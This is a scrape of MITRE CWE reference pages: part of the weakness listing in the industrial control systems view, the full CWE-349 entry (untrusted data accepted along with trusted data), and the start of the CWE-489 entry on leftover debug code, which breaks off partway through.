* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Untrusted Inputs in a Security Decision - (807)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems) > 807 (Reliance on Untrusted Inputs in a Security Decision)
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Maker Breaker Blindness - (1374)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1374 (ICS Engineering (Construction/Deployment): Maker Breaker Blindness)
Weaknesses in this category are related to the "Maker Breaker Blindness" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Lack of awareness of deliberate attack techniques by people (vs failure modes from natural causes like weather or metal fatigue) may lead to insufficient security controls being built into ICS systems." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Gaps in Details/Data - (1375)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data)
Weaknesses in this category are related to the "Gaps in Details/Data" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Highly complex systems are often operated by personnel who have years of experience in managing that particular facility or plant. Much of their knowledge is passed along through verbal or hands-on training but may not be fully documented in written practices and procedures." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Technical Documentation - (1059)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 1059 (Insufficient Technical Documentation)
The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incomplete Design Documentation - (1110)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 1110 (Incomplete Design Documentation)
The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Adherence to Coding Standards - (710)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 710 (Improper Adherence to Coding Standards)
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Documentation for Design - (1053)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 1053 (Missing Documentation for Design)
The product does not have documentation that represents how it is designed.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incomplete I/O Documentation - (1111)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1375 (ICS Engineering (Construction/Deployment): Gaps in Details/Data) > 1111 (Incomplete I/O Documentation)
The product's documentation does not adequately define inputs, outputs, or system/software interfaces.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Security Gaps in Commissioning - (1376)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1376 (ICS Engineering (Construction/Deployment): Security Gaps in Commissioning)
Weaknesses in this category are related to the "Security Gaps in Commissioning" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "As a large system is brought online components of the system may remain vulnerable until the entire system is operating and functional and security controls are put in place. This creates a window of opportunity for an adversary during the commissioning process." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Default Permissions - (276)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1376 (ICS Engineering (Construction/Deployment): Security Gaps in Commissioning) > 276 (Incorrect Default Permissions)
During installation, installed file permissions are set to allow anyone to modify those files.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1376 (ICS Engineering (Construction/Deployment): Security Gaps in Commissioning) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Password - (1393)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1376 (ICS Engineering (Construction/Deployment): Security Gaps in Commissioning) > 1393 (Use of Default Password)
The product uses default passwords for potentially critical functionality.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Inherent Predictability in Design - (1377)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1377 (ICS Engineering (Construction/Deployment): Inherent Predictability in Design)
Weaknesses in this category are related to the "Inherent Predictability in Design" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The commonality of design (in ICS/SCADA architectures) for energy systems and environments opens up the possibility of scaled compromise by leveraging the inherent predictability in the design." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques - (1278)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1377 (ICS Engineering (Construction/Deployment): Inherent Predictability in Design) > 1278 (Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques)
Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance) - (1363)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance))
Weaknesses in this category are related to the "ICS Operations (& Maintenance)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Gaps in obligations and training - (1378)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1378 (ICS Operations (& Maintenance): Gaps in obligations and training)
Weaknesses in this category are related to the "Gaps in obligations and training" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "OT ownership and responsibility for identifying and mitigating vulnerabilities are not clearly defined or communicated within an organization, leaving environments unpatched, exploitable, and with a broader attack surface." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Human factors in ICS environments - (1379)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1379 (ICS Operations (& Maintenance): Human factors in ICS environments)
Weaknesses in this category are related to the "Human factors in ICS environments" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Environmental factors in ICS including physical duress, system complexities, and isolation may result in security gaps or inadequacies in the performance of individual duties and responsibilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Psychological Acceptability - (655)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1379 (ICS Operations (& Maintenance): Human factors in ICS environments) > 655 (Insufficient Psychological Acceptability)
The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. User Interface (UI) Misrepresentation of Critical Information - (451)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1379 (ICS Operations (& Maintenance): Human factors in ICS environments) > 451 (User Interface (UI) Misrepresentation of Critical Information)
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Post-analysis changes - (1380)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1380 (ICS Operations (& Maintenance): Post-analysis changes)
Weaknesses in this category are related to the "Post-analysis changes" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Changes made to a previously analyzed and approved ICS environment can introduce new security vulnerabilities (as opposed to safety)." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Exploitable Standard Operational Procedures - (1381)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1381 (ICS Operations (& Maintenance): Exploitable Standard Operational Procedures)
Weaknesses in this category are related to the "Exploitable Standard Operational Procedures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Standard ICS Operational Procedures developed for safety and operational functionality in a closed, controlled communications environment can introduce vulnerabilities in a more connected environment." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Emerging Energy Technologies - (1382)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies)
Weaknesses in this category are related to the "Emerging Energy Technologies" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "With the rapid evolution of the energy system accelerated by the emergence of new technologies such as DERs, electric vehicles, advanced communications (5G+), novel and diverse challenges arise for secure and resilient operation of the system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Input Validation - (20)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 20 (Improper Input Validation)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authorization - (285)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 285 (Improper Authorization)
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Certificate Validation - (295)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 295 (Improper Certificate Validation)
The product does not validate, or incorrectly validates, a certificate.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Following of a Certificate's Chain of Trust - (296)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 296 (Improper Following of a Certificate's Chain of Trust)
The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Origin Validation Error - (346)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 346 (Origin Validation Error)
The product does not properly verify that the source of data or communication is valid.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Control of Network Message Volume (Network Amplification) - (406)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 406 (Insufficient Control of Network Message Volume (Network Amplification))
The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. URL Redirection to Untrusted Site ('Open Redirect') - (601)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1382 (ICS Operations (& Maintenance): Emerging Energy Technologies) > 601 (URL Redirection to Untrusted Site ('Open Redirect'))
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Open Redirect Cross-site Redirect Cross-domain Redirect Unvalidated Redirect
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements - (1383)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1383 (ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements)
Weaknesses in this category are related to the "Compliance/Conformance with Regulatory Requirements" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The ICS environment faces overlapping regulatory regimes and authorities with multiple focus areas (e.g., operational resiliency, physical safety, interoperability, and security) which can result in cyber security vulnerabilities when implemented as written due to gaps in considerations, outdatedness, or conflicting requirements." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Adherence to Coding Standards - (710)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1363 (ICS Operations (& Maintenance)) > 1383 (ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements) > 710 (Improper Adherence to Coding Standards)
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
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+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.
+ Notes

Relationship

Relationships in this view are not authoritative and subject to change. See Maintenance notes.

Maintenance

This view was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ View Metrics
CWEs in this view Total CWEs
Weaknesses 81 out of 943
Categories 26 out of 374
Views 0 out of 51
Total 107 out of 1368
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
more

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID: 349
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Modify Application Data

Scope: Access Control, Integrity

An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Does not verify that trusted entity is authoritative for all entities in its response.
use of extra data in a signature allows certificate signature forging
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 860 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 977 SFP Secondary Cluster: Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1150 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1373 ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Untrusted Data Appended with Trusted Data
The CERT Oracle Secure Coding Standard for Java (2011) ENV01-J Place all security-sensitive code in a single JAR and sign and seal it
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Observed_Examples, Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Untrusted Data Appended with Trusted Data
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CWE-489: Active Debug Code

Weakness ID: 489
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.
+ Extended Description
A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.
+ Alternate Terms
Leftover debug code
This term originates from Seven Pernicious Kingdoms
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Read Application Data; Gain Privileges or Assume Identity; Varies by Context

Scope: Confidentiality, Integrity, Availability, Access Control, Other

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.
+ Potential Mitigations
Phase(s) Mitigation

Build and Compilation; Distribution
Remove debug code before deploying the application.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 11 ASP.NET Misconfiguration: Creating Debug Binary
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 215 Insertion of Sensitive Information Into Debugging Code
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1006 Bad Coding Practices
+ Modes Of Introduction
